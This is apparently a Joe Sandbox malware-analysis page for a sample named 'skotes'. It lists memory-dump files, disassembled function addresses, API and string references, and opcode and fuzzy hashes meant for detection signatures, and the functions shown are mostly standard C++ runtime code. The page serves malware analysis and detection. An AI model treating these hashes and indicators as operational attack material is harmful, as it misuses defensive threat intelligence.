Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument$Concurrency::details::FreeIdleProcessorResetRoot::Virtual
String ID: pContext$switchState
API String ID: 2656283622-2660820399
Opcode ID: ba379d9ab34a1fdb8e25a2273c208d70e8c679f683714f655710a59afe1b070b
Instruction ID: 4c137fe10d566d4b734c2deede97e704a544766f0fdcc51e99dec3f703f6b642
Opcode Fuzzy Hash: ba379d9ab34a1fdb8e25a2273c208d70e8c679f683714f655710a59afe1b070b
Instruction Fuzzy Hash: 2631A675A00214DBCF05EF64C8A5BEE7775FF44310FA04565E91197341EB78EE11CA90

Function 007B4E1A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

FindSITargetTypeInstance.LIBVCRUNTIME ref: 007B4E6D
FindMITargetTypeInstance.LIBVCRUNTIME ref: 007B4E86
PMDtoOffset.LIBCMT ref: 007B4EAC

Strings

Bad dynamic_cast!, xrefs: 007B4EEE

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: FindInstanceTargetType$Offset
String ID: Bad dynamic_cast!
API String ID: 1467055271-2956939130
Opcode ID: c6a6bbd64d43b0009f90385b77d647463a6897833b06ef89f48b6cbac80b40ea
Instruction ID: d63153f8e184c87217772d048e642a1a755ec7e19ac5f582c922cec4b0733a31
Opcode Fuzzy Hash: c6a6bbd64d43b0009f90385b77d647463a6897833b06ef89f48b6cbac80b40ea
Instruction Fuzzy Hash: 3121A7B2A04205EFCF14DE68DD4AFEA77B8FB44724B148519F91197282DB39ED0096A1

Function 007B727C Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 007B72BE

Strings

.com, xrefs: 007B72FE
.bat, xrefs: 007B72ED
.exe, xrefs: 007B72CB
.cmd, xrefs: 007B72DC

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: a71335734e1e795e863cd4126cc5a286f7f4bc39eb6daf4c3fd8d02eccd51576
Instruction ID: 1c6b9cba3318462d8c91e7c4c142fba8e6f8e706619bfecb19edf701267445a8
Opcode Fuzzy Hash: a71335734e1e795e863cd4126cc5a286f7f4bc39eb6daf4c3fd8d02eccd51576
Instruction Fuzzy Hash: DF01262770866235661C50589D06BF617E88BD2BB4B25002BFC54F76C2EF8DDD43A1A0

Function 0079FA71 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0079FB06

Strings

GetThreadGroupAffinity, xrefs: 0079FA93
GetCurrentProcessorNumberEx, xrefs: 0079FABE
SetThreadGroupAffinity, xrefs: 0079FA87
kernel32.dll, xrefs: 0079FA7A

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 348560076-465693683
Opcode ID: 0ba74e6421fabb66e0752d3d68aba9578eacbbe03687084b26e5e07a803fc81e
Instruction ID: f5b9fb71eae69181ea692efc11b6bbfb70200c1cd5320e6dbf20a1600177dc0b
Opcode Fuzzy Hash: 0ba74e6421fabb66e0752d3d68aba9578eacbbe03687084b26e5e07a803fc81e
Instruction Fuzzy Hash: 8F01F5B57423157E9B20B6747C9EEBF2AACD946714730493BF441E6252FEACD80082A4

Function 007B2097 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 007B20B7

Part of subcall function 007ACAF3: Mailbox.LIBCMT ref: 007ACB2D

Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 007B20C8
StructuredWorkStealingQueue.LIBCMT ref: 007B20FE
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 007B210F

Strings

e, xrefs: 007B20D9

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured$Mailbox
String ID: e
API String ID: 1411586358-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: 3af69f29a8680314772264f7bb0171cb5d4e9b4d86c0bb6a6bab60fab8c71920
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: 6C118231502109EBDB15DE6DC8857EB73A4EF02364B24815ABC069F103DA79D902CBA0

Function 0079D029 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 59COMMON

Download Yara Rule

APIs

___scrt_fastfail.LIBCMT ref: 0079D0A5

Strings

api-ms-win-core-synch-l1-2-0.dll, xrefs: 0079D03B
WakeAllConditionVariable, xrefs: 0079D069
kernel32.dll, xrefs: 0079D04C
SleepConditionVariableCS, xrefs: 0079D05D

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
